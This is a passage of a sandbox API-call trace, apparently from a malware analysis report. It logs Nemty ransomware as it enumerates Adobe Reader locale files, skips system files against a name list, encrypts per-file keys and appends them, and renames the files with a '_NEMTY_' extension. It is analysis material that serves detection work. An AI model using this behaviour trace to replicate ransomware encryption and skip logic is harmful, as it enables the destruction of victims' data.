lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.442] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=509440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c600 [0178.442] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.445] CloseHandle (hObject=0x2e8) returned 1 [0178.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.445] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Annots.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\annots.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Annots.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\annots.ita._nemty_kgobjgd_")) returned 1 [0178.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.447] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.ITA", cAlternateFileName="BRDLAN~1.ITA")) returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2=".") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="..") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="...") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="windows") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="rsa") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="NTDETECT.COM") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="ntldr") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="MSDOS.SYS") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="IO.SYS") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="boot.ini") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="boot.ini") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="ntuser.dat") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="desktop.ini") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="CONFIG.SYS") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="RECYCLER") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="bootmgr") returned 1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="programdata") returned -1 [0178.447] lstrcmpiW (lpString1="BRdlang32.ITA", lpString2="appdata") returned 1 [0178.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.447] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.ITA", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.ITA", lpUsedDefaultChar=0x0) returned 13 [0178.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.448] Sleep (dwMilliseconds=0x5) [0178.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e04b6b0, dwHighDateTime=0x1d561e8)) [0178.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e04b6b0, dwHighDateTime=0x1d561e8)) [0178.462] GetLastError () returned 0x0 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.462] GetLastError () returned 0x0 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.462] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.462] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.462] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="tSWyEeTRD/VFjizUhxiLsAYhYFY4QUjcuBUF14SLY/gmDpbnTJQDlviOuDiEoG91\r\n2wnBc1fqE284wHlR/O9hfSAluSgf4Ae5eZhns5v7Qi9lgrU27GSDQ5dsyBEa2k0r\r\nuHqjG37xS2IlIU/esu//e3RcSfmkflU5BGkfXA0GDCUFfkqlXZ+SVvII/zhmmwVj\r\nUcYDRD5VYWIBhTgGJShpF9EplfDElD+eivfDtai2JykefmLMJx46ONoELKrI4i/s\r\njSbCKoGON1OzCZ0AgLZ9axWH1R77IZcOrqWIpst457TtllQ6YQNNrMxUJHdPGV6H\r\ncuG5sXV7lVhKz7bi9Sy3UQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\BRdlang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\brdlang32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.463] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0178.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0178.463] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.463] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0178.465] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.465] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0178.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.465] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0178.465] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.465] CloseHandle (hObject=0x2e8) returned 1 [0178.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.466] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\BRdlang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\brdlang32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\BRdlang32.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\brdlang32.ita._nemty_kgobjgd_")) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.466] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.ITA", cAlternateFileName="")) returned 1 [0178.466] lstrcmpiW (lpString1="Checkers.ITA", lpString2=".") returned 1 [0178.466] lstrcmpiW (lpString1="Checkers.ITA", lpString2="..") returned 1 [0178.466] lstrcmpiW (lpString1="Checkers.ITA", lpString2="...") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="windows") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="rsa") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="NTDETECT.COM") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="ntldr") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="MSDOS.SYS") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="IO.SYS") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="boot.ini") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="boot.ini") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="ntuser.dat") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="desktop.ini") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="CONFIG.SYS") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="RECYCLER") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="bootmgr") returned 1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="programdata") returned -1 [0178.467] lstrcmpiW (lpString1="Checkers.ITA", lpString2="appdata") returned 1 [0178.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.467] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.ITA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.468] Sleep (dwMilliseconds=0x5) [0178.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e071810, dwHighDateTime=0x1d561e8)) [0178.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e071810, dwHighDateTime=0x1d561e8)) [0178.477] GetLastError () returned 0x0 [0178.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.477] GetLastError () returned 0x0 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.478] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.478] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.478] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.478] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="KOOmnEN1pgyVSWHo+3XvN8s/amaVbR6+noHIhzZo+U7wTbC/+MkCbDi0XEpG1WO8\r\nqkSTSltjsJ2NUybPobf2KTApA0qTQgtf4JPdaC6DO8x7SsLlYaEMgchvLF/eFy3X\r\nwZ/ZV2l/APxxTu6fhYkk1q+6WOeiYkoVrVu/f28wTji/lffuHb2a9RAnaJPi3mKR\r\nJXK1Kj3impaSieriZCQim7+2N70V5PfaC3bklg/VL8TeB/Ah/ci5hACMvDzDWyTU\r\nijSXtBavSM/B5MFDBqkT3TM3JwZ9Fxz0X7m0MqhLTikalMihk39KksSCUbB3tnHy\r\ny76iUGWLWftrI11Lc7H1Xw==\r\n", pcchString=0x653e5dc) returned 1 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Checkers.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\checkers.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 